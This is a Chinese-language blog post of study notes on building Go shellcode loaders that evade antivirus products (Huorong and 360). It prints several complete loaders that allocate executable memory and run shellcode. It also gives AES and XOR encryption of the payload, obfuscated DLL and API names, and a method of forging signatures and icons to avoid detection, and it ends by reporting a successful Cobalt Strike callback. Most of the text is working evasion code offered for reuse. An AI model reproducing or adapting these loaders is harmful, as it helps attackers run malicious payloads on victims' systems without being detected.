go免杀学习记录-希望大家关注下公众号:落魄山安全
题记
最近剑来动漫上线,虽然观感不如我的预期,感觉节奏过快。但是也是一种进步了,愿各位道友都能找到自己的宁姚。
"我喜欢的姑娘啊,她眉如远山,浩然天下所有好看的山,好看的水,加起来都不如她。她睫毛轻颤的模样,落在了我的心里。那万年不动的剑气长城,都好像轻轻晃了晃。" ——烽火戏诸侯 《剑来》
经过这几天的学习,go语言的shellcode加载器也算入门了一些,火绒把shellcode远程加载就能直接过,360需要做一下icon与签名的伪造,当然做完这些原生的shellcode加载器也能直接绕过火绒。
原始的加载器代码
实测以下代码编译好的exe可以成功执行,但免杀效果较差,不过我们依然可以学到最原始的shellcode加载器的执行原理,后边免杀也是围绕基础的原理进行各种二开操作的。
加载使用的模块,输入shellcode,分配内存,然后将shellcode复制到分配的内存中执行。
package main import ( "encoding/hex" "syscall" "unsafe"
"golang.org/x/sys/windows") func main() { code := ""
decode, _ := hex.DecodeString(code) kernel32, _ := syscall.LoadDLL("kernel32.dll") VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")
// 分配内存并写入 shellcode 内容 allocSize := uintptr(len(decode)) mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) if mem == 0 { panic("VirtualAlloc failed") } buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize] copy(buffer, decode)
// 执行 shellcode syscall.Syscall(mem, 0, 0, 0, 0) } |
注释:
1、包导入
encoding/hex:用于十六进制编码和解码。
syscall:用于与操作系统进行低级别的交互。
unsafe:提供对内存的低级访问。
golang.org/x/sys/windows:提供与Windows系统交互的功能。
2、解码Shellcode
使用hex.DecodeString将十六进制字符串解码为字节切片。该操作可能会返回错误,但在这段代码中错误未被处理。
go加载shellcode时需要转换成字节数组才能加载,在测试打印我们一般转换成十六进制字符串打印出来
在加解密过程中踩坑较多,需要注意函数输入和输出的到底是十六进制字符串还是字节数组
例如:
message := "fc4883e4f0e8c8"就是十六进制字符串
十六进制字符串string转换成字节数组byteArray
byteArray, _ := hex.DecodeString(hexString)
字节数组转换成十六进制字符串
hexString := hex.EncodeToString(byteArray)
3、加载DLL和查找函数
加载Windows的kernel32.dll库,该库包含处理内存分配的函数。
查找VirtualAlloc函数,该函数用于在进程的虚拟地址空间中分配内存。
4、分配内存
allocSize为要分配的内存大小,单位为字节。
调用VirtualAlloc分配内存,参数说明:
0表示操作系统选择内存地址。
allocSize是要分配的大小。
windows.MEM_COMMIT|windows.MEM_RESERVE表示分配和保留内存。
windows.PAGE_EXECUTE_READWRITE表示分配的内存可执行、可读和可写。
如果返回的内存地址mem为0,表示分配失败,程序将触发panic。
4、写入shellcode
使用unsafe.Pointer将分配的内存地址转换为字节数组指针,并创建一个切片buffer,其大小为分配的内存大小。
将解码后的Shellcode复制到分配的内存中。
5、执行Shellcode
调用syscall.Syscall来执行Shellcode。第一个参数是Shellcode的内存地址,后面三个参数是传递给Shellcode的参数(此处都为0)。
参数调用加载器
package main |
可以看到以上加载器火绒是监测不出来的,但过不了360。
加密方式一-aes加密
aes加密:
package main
import ( "bytes" "crypto/aes" "crypto/cipher" "encoding/base32" "encoding/base64" "fmt" )
// 填充字符串(末尾) func PaddingText1(str []byte, blockSize int) []byte { //需要填充的数据长度 paddingCount := blockSize - len(str)%blockSize //填充数据为:paddingCount ,填充的值为:paddingCount paddingStr := bytes.Repeat([]byte{byte(paddingCount)}, paddingCount) newPaddingStr := append(str, paddingStr...) //fmt.Println(newPaddingStr) return newPaddingStr }
// ---------------DES加密-------------------- func EncyptogAES(src, key []byte) []byte { block, err := aes.NewCipher(key) if err != nil { fmt.Println(nil) return nil } src = PaddingText1(src, block.BlockSize()) blockMode := cipher.NewCBCEncrypter(block, key) blockMode.CryptBlocks(src, src) return src }
func main() {
shellcode := []byte{} str := base64.StdEncoding.EncodeToString(shellcode)
//密钥长度16 key := []byte("AofqwwWicshoiqQq") src := EncyptogAES(str, key) message := base32.HexEncoding.EncodeToString(src) fmt.Println(message) } |
aes解密:
package main
import ( "crypto/aes" "crypto/cipher" "encoding/base32" "encoding/base64" "fmt" "encoding/hex" "syscall" "unsafe"
"golang.org/x/sys/windows" )
// 去掉字符(末尾) func UnPaddingText1(str []byte) []byte { n := len(str) count := int(str[n-1]) newPaddingText := str[:n-count] return newPaddingText }
// ---------------DES解密-------------------- func DecrptogAES(src, key []byte) []byte { block, err := aes.NewCipher(key) if err != nil { fmt.Println(nil) return nil } blockMode := cipher.NewCBCDecrypter(block, key) blockMode.CryptBlocks(src, src) src = UnPaddingText1(src) return src }
func main() { message := ""
aesMsg, _ := base32.HexEncoding.DecodeString(message) key := []byte("AofqwwWicshoiqQq") str := string(DecrptogAES(aesMsg, key)) sc, _ := base64.StdEncoding.DecodeString(string(str)) code := string(sc) |
加密方式二-xor混淆
xor加密:
// XOR 操作 xordMessage := make([]byte, len(str)) for i := 0; i < len(str); i++ { xordMessage[i] = str[i] ^ 0xff } |
xor解密:
originalMessage := make([]byte, len(xordMessage)) for i := 0; i < len(xordMessage); i++ { originalMessage[i] = xordMessage[i] ^ 0xff } |
内存加载方式一
code := ""
decode, _ := hex.DecodeString(code) kernel32, _ := syscall.LoadDLL("kernel32.dll") VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")
// 分配内存并写入 shellcode 内容 allocSize := uintptr(len(decode)) mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) if mem == 0 { panic("VirtualAlloc failed") } buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize] copy(buffer, decode)
// 执行 shellcode syscall.Syscall(mem, 0, 0, 0, 0) } |
内存加载方式二
code := string(sc) shellcode, _ := hex.DecodeString(code)
data := shellcode /*for i := 0; i < len(data); i++ { fmt.Printf("%x", data[i]) }*/ //execEnumChildWindows(data) kernel32 := windows.NewLazySystemDLL("kernel32") //user32 := windows.NewLazySystemDLL("user32")
RtlMoveMemory := kernel32.NewProc("RtlMoveMemory") VirtualAlloc := kernel32.NewProc("VirtualAlloc") VirtualProtect := kernel32.NewProc("VirtualProtect") //EnumChildWindows := user32.NewProc("EnumChildWindows")
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { panic(1) } _, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data))) if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." { panic(1) } oldProtect := PAGE_READWRITE _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." { panic(1) } CreateThread := kernel32.NewProc("CreateThread") thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0) windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF) |
内存加载方式三
code := string(sc) |
内存加载方式四-失败
ntdll.dll的加载执行没成功过,不知道原因。
const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 )
var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") //调用kernel32.dll ntdll = syscall.MustLoadDLL("ntdll.dll") //调用ntdll.dll VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") //使用kernel32.dll调用ViretualAlloc函数 RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") //使用ntdll调用RtCopyMemory函数 )
func checkErr(err error) { if err != nil { // 如果内存调用出现错误,可以报出 if err.Error() != "The operation completed successfully." { println(err.Error()) os.Exit(1) } } }
运行失败1,参考https://github.com/YGYoghurt/Go-shellcode--: shellcode, err := hex.DecodeString(deStrBytes)
// 调用VirtualAllo申请一块内存 addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if addr == 0 { checkErr(err) } // 调用RtlCopyMemory加载进内存当中 _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)/2)) _, _, err = RtlCopyMemory.Call(addr+uintptr(len(shellcode)/2), (uintptr)(unsafe.Pointer(&shellcode[len(shellcode)/2])), uintptr(len(shellcode)/2)) checkErr(err)
//syscall来运行shellcode syscall.Syscall(addr, 0, 0, 0, 0) 运行失败2,参考https://github.com/hhuang00/go-bypass-loader/tree/main: var ( a = syscall.MustLoadDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'})) b = syscall.MustLoadDLL(string([]byte{'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'})) c = a.MustFindProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c'})) d = b.MustFindProc(string([]byte{'R', 't', 'l', 'C', 'o', 'p', 'y', 'M', 'e', 'm', 'o', 'r', 'y'})) )
addr, _, err := c.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } _, _, err = d.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc))) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } syscall.Syscall(addr, 0, 0, 0, 0) |
示例加载器一
以下代码感觉内存分配执行的方式烂大街了,火绒都过不了,需要改一下。
package main
import ( "crypto/aes" "crypto/cipher" "encoding/base32" "encoding/base64" "fmt" "encoding/hex" "syscall" "unsafe"
"golang.org/x/sys/windows" )
// 去掉字符(末尾) func UnPaddingText1(str []byte) []byte { n := len(str) count := int(str[n-1]) newPaddingText := str[:n-count] return newPaddingText }
// ---------------DES解密-------------------- func DecrptogAES(src, key []byte) []byte { block, err := aes.NewCipher(key) if err != nil { fmt.Println(nil) return nil } blockMode := cipher.NewCBCDecrypter(block, key) blockMode.CryptBlocks(src, src) src = UnPaddingText1(src) return src }
func main() { //message的值为先混淆然后aes加密后的值 message := ""
aesMsg, _ := base32.HexEncoding.DecodeString(message) key := []byte("AofqwwWicshoiqQq") xordMessage := string(DecrptogAES(aesMsg, key))
originalMessage := make([]byte, len(xordMessage)) for i := 0; i < len(xordMessage); i++ { originalMessage[i] = xordMessage[i] ^ 0xff }
sc, _ := base64.StdEncoding.DecodeString(string(originalMessage))
code := string(sc) decode, _ := hex.DecodeString(code) var ( a = syscall.MustLoadDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'})) c = a.MustFindProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c'})) )
allocSize := uintptr(len(decode)) mem, _, _ := c.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) if mem == 0 { panic("VirtualAlloc failed") } buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize] copy(buffer, decode)
syscall.Syscall(mem, 0, 0, 0, 0) } |
示例加载器二
以下代码可直接过火绒,但是360能够查出来。
package main
import ( "crypto/aes" "crypto/cipher" "encoding/base32" "encoding/base64" "fmt" "encoding/hex" "syscall" "unsafe"
"golang.org/x/sys/windows" )
const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 PAGE_EXECUTE_READ = 0x20 PAGE_READWRITE = 0x04 )
// 去掉字符(末尾) func UnPaddingText1(str []byte) []byte { n := len(str) count := int(str[n-1]) newPaddingText := str[:n-count] return newPaddingText }
// ---------------DES解密-------------------- func DecrptogAES(src, key []byte) []byte { block, err := aes.NewCipher(key) if err != nil { fmt.Println(nil) return nil } blockMode := cipher.NewCBCDecrypter(block, key) blockMode.CryptBlocks(src, src) src = UnPaddingText1(src) return src }
func main() { //message的值为先混淆然后aes加密后的值 message := ""
aesMsg, _ := base32.HexEncoding.DecodeString(message) key := []byte("AofqwwWicshoiqQq") xordMessage := string(DecrptogAES(aesMsg, key))
originalMessage := make([]byte, len(xordMessage)) for i := 0; i < len(xordMessage); i++ { originalMessage[i] = xordMessage[i] ^ 0xff }
sc, _ := base64.StdEncoding.DecodeString(string(originalMessage))
code := string(sc) shellcode, _ := hex.DecodeString(code)
data := shellcode /*for i := 0; i < len(data); i++ { fmt.Printf("%x", data[i]) }*/ //execEnumChildWindows(data) kernel32 := windows.NewLazySystemDLL("kernel32") //user32 := windows.NewLazySystemDLL("user32")
RtlMoveMemory := kernel32.NewProc("RtlMoveMemory") VirtualAlloc := kernel32.NewProc("VirtualAlloc") VirtualProtect := kernel32.NewProc("VirtualProtect") //EnumChildWindows := user32.NewProc("EnumChildWindows")
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { panic(1) } _, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data))) if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." { panic(1) } oldProtect := PAGE_READWRITE _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." { panic(1) } CreateThread := kernel32.NewProc("CreateThread") thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0) windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF) } |
过360和火绒的简便方法
借用大佬的一段话:“想告诉大家,有时候落地无很可能不是代码问题就是特征匹配上了,使用工具或者是修改VS编译配置,相当于改头换面,换了个hash让他比对不上,就能过了。”
我们可以看到,示例加载器1和2是都过不了360的,但我们通过工具批量伪造签名和icon可以让360短时间查不出来。
批量生成:
360查完还剩下30多个:
对单独的进行扫描,360未发现异常:
成功上线cs:
参考文章
go实现的shellcode免杀加载器,实测可过火绒,360:https://github.com/hhuang00/go-bypass-loader/tree/main
go实现免杀(实用思路篇):https://xz.aliyun.com/t/14692?time__1311=GqAhYKBK0K7KY5DsD7%2B3GQmoAIuwmBa1YD#toc-0
老生常谈杀软特性 免杀数字你也行:https://mp.weixin.qq.com/s/2ROYMmutQbWUeuNc3aDUww
Golang写的shellcode免杀加载器思路:https://github.com/YGYoghurt/Go-shellcode--